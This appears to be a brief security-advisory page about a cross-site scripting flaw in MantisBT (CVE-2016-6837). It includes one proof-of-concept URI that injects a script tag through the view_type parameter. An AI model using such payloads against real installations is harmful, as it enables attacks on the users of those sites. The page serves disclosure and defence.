• info
• discussion
• exploit
• solution
• references

MantisBT CVE-2016-6837 Cross Site Scripting Vulnerability

Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.

The following example URI is available:

http://example.com/mantis/view_all_bug_page.php?view_type=";><script>alert('XSS');</script>